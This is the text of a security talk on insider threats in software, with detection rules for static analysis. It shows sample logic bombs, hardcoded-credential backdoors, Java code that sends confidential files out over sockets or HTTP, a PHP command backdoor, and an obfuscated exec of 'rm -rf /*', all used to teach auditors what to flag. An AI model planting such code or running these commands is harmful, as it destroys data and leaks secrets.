Repelling the Wily Insider

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Matias Madou

- Principal Security Researcher, Fortify Software
  - Focus on new techniques for finding vulnerabilities (static and dynamic)
  - New ways to protect web applications
- Contributor to Building Security in Maturity Model (BSIMM) Europe
- History in code obfuscation (and binary rewriting)
Overview

- Intro
- Insider Threat Background
- Classes of Insider Threats
- Techniques for Defenders
- Face-Off
- Conclusion
Are Insiders a Threat to your Company?

- 43% of the companies surveyed attributed losses to malicious insiders.

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Defining the Insider Threat

- Bishop/Gates classify malicious insider actions by:
  - Violation of a security policy using legitimate access (misused privilege)
  - Violation of an access control policy by obtaining unauthorized access (ill-gotten privilege)
We're Software People

- Forget IT people. What about developers?
Motives

- Malicious insider's motivation
  - Revenge
  - Monetary gain
Looking for "Bad Code"
Finding Examples

- Open source and public disclosures
- Anonymized commercial/enterprise code
- 2004 Obfuscated Voting contest (Stanford)
  - Count votes correctly in test mode
  - Favor one candidate during the real election
  - Favoritism must be subtle and avoid attention
  - Avoid detection by human code reviewers
Related Work

- Wysopal and Eng
  - *Static Detection of Application Backdoors*

- Jeff Williams
  - *Enterprise Java Rootkits*

- Bishop et al.
  - *We Have Met the Enemy and He Is Us*
  - *Defining the Insider Threat*

- CMU/CyLab
  - Insider Threat Analysis Center
Overview

- Intro
- Insider Threat Background
- **Classes of Insider Threats**
- Techniques for Defenders
- Face-Off
- Conclusion
Classifying Well-Known Examples

- **Medco (2008)**
  
  ```
  if ( date > "April 23, 2005" )
  delete all files on all 70 servers
  ```

- **Linux (2005)**
  
  ```
  if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
  ```

- **Borland’s InterBase (2003)**
  
  ```
  if ( username == "politically" and password == "correct")
  // Grant Access!
  ```
Classes of Insider Threat

1. Logic or Time Bomb
2. Backdoors and Secret Credentials
3. Nefarious Communication
4. Dynamic Code Injection/Manipulation
5. Obfuscation and Camouflage
1. Logic or Time Bomb

- Malicious code lies dormant until triggered
- Most common insider threat
  - Numerous public disclosers
- Examples
  - Compare hardcoded data/time against current
1. Logic or Time Bombs in the News

"Logic Bomb Wipes out 800 PCs in Norfolk VA"
- Medco admin gets 30 months for planting logic bomb

"Logic Bomb’ Hacker Gets 8 Years for Failed Stock Rigging"
- UBS employee tried to short-sell stock for profit

"Fired Contractor Kisses Off Fannie Mae With Logic Bomb"
- Programmer fired for scripting error, writes error-free script logic bomb
1. Logic or Time Bomb

- **Example 1:**

  ```java
  long initTime = System.currentTimeMillis();
  if(initTime > 0x1291713454eL){
      // Bypass control mechanisms
  }
  ```

- **Example 2:**

  ```java
  Date d = new Date();
  Calendar cd = new GregorianCalendar();
  cd.set(2009, 4, 1);
  Date d2 = cd.getTime();
  if (d.compareTo(d2) > 0) {
      // Mess around. No obvious crash
  }
  ```
2. Backdoors and Secret Credentials

- Provide covert access to the system in the future
- Examples
  - Code that allows remote access
  - Adding credentials
  - Adding a master password
  - Bypassing normal authentication
  - Execute commands (OS, queries, ...)
  - ...

2. Backdoors and Secret Credentials

- Borland’s InterBase
  
  ```java
  if ( username == "politically" and password == "correct")
  //Grant Access!
  ```

- WordPress backdoor
  
  ```php
  if ($_GET["iz"])
  {
  get_theme_mcommand($_GET["iz"]); }
  ```

- Inserting credential at startup:
  
  ```java
  stmt.executeQuery("INSERT INTO Credentials
  VALUES(0, 'insider', 'threat'); ");
  ```
2. Backdoors and Secret Credentials

- **Optix Pro (2004)**
  - Random-looking 38-character "master password" (kjui3498fjk34289890fwe334gfew4ger$sdf)
  - Encrypted in binary, decrypted in RAM
  - Included for security reasons

- **Subseven (2000)**
  - Backdoor with secret password
  - Way to control what they’ve created
3. Nefarious Communication

- Fixed communication channel to transfer data outside the perimeter / organization
- Excellent way to transfer sensitive information
- Examples
  - Opening socket or other network connection
  - Sending email or other communication
3. Nefarious Communication

- Regularly transfer confidential files

```java
serversocket = new ServerSocket(666);

socket = serversocket.accept();
file = new File("ConfidentialFile.txt");
if (file.exists()) {
    out = new PrintWriter(socket.getOutputStream(), true);
    fi = new FileInputStream(file);
    reader = new BufferedReader(new InputStreamReader(fi));
    String data;
    while ((data = reader.readLine()) != null) {
        out.print(data + "\n");
    }
    out.close();
}
```
3. Nefarious Communication

- Similar: Posting a confidential file to the Web

```java

connection = (HttpURLConnection)url.openConnection;
connection.setRequestMethod("POST");

//The file to send
file = new java.io.File("ConfidentialFile.txt");
fi = new FileInputStream(file);
fi.read(the_bytes);

out = connection.getOutputStream();
out.write(the_bytes);
out.close();

int responseCode = connection.getResponseCode(); //Send
```
3. Nefarious Communication

- E-mail spying (Blackberry)
- "Performance update", but contained:
  
  ```
  smtp.sendMail("etisalat_upgr@etisalat.ae", subj, body);
  ```
- Insider-threat code deliberately included
4. Dynamic Code Injection/Manipulation

- Changing, adding, or compiling code on the fly
- Examples
  - Abuse of Reflection (rewriting read-only variables)
  - Resource Rewriting (rewriting class and jar files)
  - Runtime Compilation (compiling code at runtime)
  - Class Loader Abuse (turn bytes in executable code)

Credit to Jeff Williams, Enterprise Java Rootkits, BH 2009
4. Dynamic Code Injection/Manipulation

- Example: Abuse of Reflection

```java
public static final String readOnlyKey = "...";

...

Field field = String.class.getDeclaredField("value");
field.setAccessible(true);
field.set("readOnlyKey", "newKeyValue".toCharArray);
...
```
5. Obfuscation and Camouflage

- Hide malicious code from auditors
  - Make code look real (be subtle)
- Linux case, make root:
  
  ```c
  if ((options==(__WCLONE|__WALL)) && (current->uid==0))
  
  X11 case, forgotten parenthesis, May 2006
  
  if (getuid() == 0 || geteuid != 0) {
    if (!strcmp(argv[i], "-modulepath")) {
  ```
5. Obfuscation and Camouflage

- Example: decode a static string and execute it
- Original:

```
Runtime.getRuntime().exec("rm -rf /*");
```

- Obfuscated:

```
String enc_cmd = "cm0glnJmIC8q";
decoded = (new BASE64Encoder()).decodeBuffer(enc_cmd);
Runtime.getRuntime().exec(decoded);
```
5. Obfuscation and Camouflage

- Usage of simple substitution cyphers (Rot13, Four Square, Bifid, and Trifid Cypher, ...)

```java
String db = "Perqragvnyf"; // Credentials in Rot13
String data1 = "vafvqre"; // insider ...
String data2 = "guerng"; // threat ...
...
db=Rot13.decode(db);
...
String queryStr = "INSERT INTO "+db+" VALUES(0,'"+data1+"','"+data2+"');";
...
stmt.executeQuery(queryStr);

INSERT INTO Credentials VALUES(0, 'insider', 'threat');
```
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Techniques for Defenders

- Peer review
- Static analysis
  - Out-of-the-box
  - Custom rules
- Runtime testing
  - QA
  - Production
- Results interpretation
Peer Review

- Obviously suspicious

\[ \text{YzI5dHpxPT1zZGNzYWRjYXNkY2FzZGNhczttsZGNtYTtzbGRtYztsYW1zZGNsO21hc2RsnRRENBTEtTSkRDS0pMQVNEQ0} \]

- After a week, you might spot:

\[ \text{if} \ (\$_GET["iz"])) \ { \text{get_theme_mcommand(}\$_GET["iz"]));} \]

- But what about?

\[ \text{if} \ ((\text{options==}(__WCLONE|__WALL)) \ \&\& \ (\text{current->uid=0})) \]
Static Analysis

- Problems with manual code review
  - What to look for?
  - Where to start?

- Static analysis can help, but requires
  - New rules
  - Different interpretation of the results
Static Analysis: On the Inside

Source Code

Build Model

Perform Analysis

Present Results

Security Knowledge

if (strcmp (buf, size) == 0) {
  strcopy (buf, oth); 
  system (oth); 
}
Static Analysis: Out-of-the-Box

- Command Injection, SQL Injection, ...
- Example (WordPress):

```php
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

function get_theme_mcommand($mcds) {
    passthru($mcds);
    ...
```
A laid-off employee installs code that reads the entire database on a regular basis and sends the results over the network.
Static Analysis: Custom Rules

- A laid-off employee installs code that reads the entire database on a regular basis and sends the results over the network.

- First: Grabbing the entire database is suspicious
- Broad-reaching static query:
  ```python
con.execute("SELECT * FROM database");
```
- Rule: Matches "(?i)select\s+\*\s+from\s+\w+"
Static Analysis: Custom Rules

- A laid-off employee installs code that reads the entire database on a regular basis and sends the results over the network.
Static Analysis: Custom Rules

- A laid-off employee installs code that reads the entire database on a regular basis and sends the results over the network.

- Second: Socket management is suspicious

- Creating a socket connection:
  ```java
  ServerSocket srvr = new java.net.ServerSocket(666);
  ```

- Rule: Hardcoded `java.net.ServerSocket` port
A laid-off employee installs code that reads the entire database on a regular basis and sends the results over the network.
Static Analysis: Custom Rules

- A laid-off employee installs code that reads the entire database on a regular basis and sends the results over the network.

- Third: Mechanism to grab and compare time
- Retrieving the current time:
  ```java
  initTime = System.currentTimeMillis();
  ```
- Rule: Calls to
  ```java
  java.lang.System.currentTimeMillis()
  ```
Static Analysis: Custom Rules

- A laid-off employee installs code that reads the entire database on a regular basis and sends the results over the network.

- Third: Mechanism to grab and compare time

- Comparison with a hardcoded time:
  
  ```
  if(initTime > 0x1291713454eL)
  ```

- Rule: Time comparison with hardcoded values
Runtime Testing: QA

- Extensive functional testing can help
  - Dead code is interesting
- Monitor application critical places
  - Queries executed against a DB
  - Opening network connections
  - ...

Runtime Testing: Production

- Monitor for abnormal activity
  - Unusual amounts of data
  - Resurrecting "dead code"
  - Anomalous queries and commands
  - Connections to unusual ports/URLs/...
- ...

...
Results Interpretation

- Breadcrumbs, not smoking guns
- Example:

```java
long initTime = System.currentTimeMillis();
if(initTime > 0x1291713454eL)
//Code
```

- Found: Hard coded date comparisons
  - Legit: Checking for updates
  - Insider: Trigger for a logic bomb
Results Interpretation

- Order results based on strength of implication
- Example: date comparison
  - Low: get the current time
  - Medium: compare the current time
  - High: compare the current time with hardcoded time
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Face-Off

Where we are today
- Rules for 17 insider threats issues in Java (next)
- Found multiple real issues in enterprise code

The Face-Off:
- Rerun the examples
- Describe what to flag
## Insider Threat Categories

1. Class Loader Abuse  
2. Abuse of Reflection  
3. Runtime Compilation  
4. Credential Insertion  
5. E-Mail Spying  
6. Hidden Functionality  
7. Leaked Secret  
8. Logic Bomb  
9. Network Communication  
10. Overwritten Method  
11. Password Bypass  
12. Process Flow Disruption  
13. Redundant Condition  
14. Resource Rewriting  
15. Static SQL Query  
16. Static Secret  
17. Suspicious String
Classes of Insider Threat

1. Logic or Time Bomb
2. Backdoors and Secret Credentials
3. Nefarious Communication
4. Dynamic Code Injection/Manipulation
5. Obfuscation and Camouflage
1. Logic or Time Bomb

- Flag date comparisons as:
  - Low priority: get the current time
  - Medium priority: compare the current time
  - High priority: to a hardcoded date

- Example 1:

```java
long initTime = System.currentTimeMillis();
if(initTime > 0x1291713454eL)
  // Trigger
  // Update database to bypass control mechanisms
```
2. Backdoors and Secret Credentials

- Flag all insertions in a db:
  - Low: into the credential database
  - Medium: hardcoded credentials
  - High: at startup

```java
stmt.executeQuery("INSERT INTO Credentials
VALUES(0, 'insider', 'threat');");
```
2. Backdoors and Secret Credentials

- Report comparing hardcoded username and password (Borland InterBase):

  ```
  if ( username == "politically" and password == "correct")
  //Grant Access!
  ```

- Default command injection rules (WordPress):

  ```
  if ($_GET["iz"]){
    get_theme_mcommand($_GET["iz"]);
  }
  ```
3. Nefarious Communication

1. Hardcoded port in new sockets

2. Accessing a hardcoded file:

```java
serversocket = new ServerSocket(666);

socket = srvr.accept();
file = new File("ConfidentialFile.txt");
if (file.exists()) {
    out = new PrintWriter(socket.getOutputStream(), true);
    fi = new FileInputStream(file);
    reader = new BufferedReader(new InputStreamReader(fi));
    String data;
    while ((data = reader.readLine()) != null) {
        out.print(data + "\n");
    }
    out.close();
}
```
3. Nefarious Communication

- Flag hardcoded e-mail addresses (Blackberry):

  ```javascript
  smtp.sendMail("etisalat_upgr@etisalat.ae", subj, body);
  ```
4. Dynamic Code Injection/Manipulation

- **Flag functions** (like `Field.setAccessible()`) that can change read-only variables:

  ```java
  public static final String readOnlyKey = "...";
  ...

  Field field = String.class.getDeclaredField("value");
  field.setAccessible(true);
  field.set("readOnlyKey", "newKeyValue".toCharArray);
  ...
  ```

- **Similar rules for categories** in paper by Jeff Williams
5. Obfuscation and Camouflage

- Flag use of equals (=) inside if statements (Root in Linux case):

  ```
  if ((options==(__WCLONE|__WALL)) && (current->uid==0))
  ```

- Identify variables with the same name as common functions (X11, forgotten parenthesis):

  ```
  if (getuid() == 0 || geteuid != 0) {
    if (!strcmp(argv[i], "-modulepath") {
      ```
5. Obfuscation and Camouflage

- Report decode operations on hardcoded strings:
  - Example 1:
    ```java
    String enc_cmd = "cm0gLXJmIHNvbWVfY3JpdGljYWxfZGlyLyo=";
    decoded=(new BASE64Encoder()).decodeBuffer(enc_cmd);
    Runtime.getRuntime().exec(decoded);
    ```
  - Example 2:
    ```java
    String db = "Perqragvnyf";
    String data1 = "vafvqre";
    String data2 = "guerng";
    ...
    db=Rot13.decode(db);
    ...
    String queryStr =
    "INSERT INTO "+db+" VALUES(0, '"+data1+'", '"+data2+"');";
    stmt.executeQuery(queryStr);
    ```
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Avoid Getting Caught

- Make your code
  - Look real
  - As benign as possible
- Know your enemy
  - Understand defenders' capabilities
  - Use tools
- Don't do it!
Catching Malicious Insiders

- Looking for a needle in a haystack
  - Insiders have a big arsenal
  - Simple, well-planned code is most popular
- Require a systematic approach
  - Technology helps produce heatmap
  - Auditors must have the right mindset
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